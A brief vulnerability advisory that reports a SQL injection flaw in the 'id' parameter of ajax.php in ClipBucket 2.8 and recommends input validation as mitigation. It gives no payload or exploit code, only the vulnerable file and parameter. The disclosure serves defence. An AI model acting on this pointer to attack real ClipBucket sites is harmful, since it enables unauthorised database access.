ClipBucket 2.8 – ‘id’ SQL Injection

ClipBucket 2.8 is vulnerable to a SQL injection vulnerability in the 'id' parameter of the ajax.php file. An attacker can send a specially crafted HTTP request with a malicious 'id' parameter to execute arbitrary SQL commands on the underlying database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.
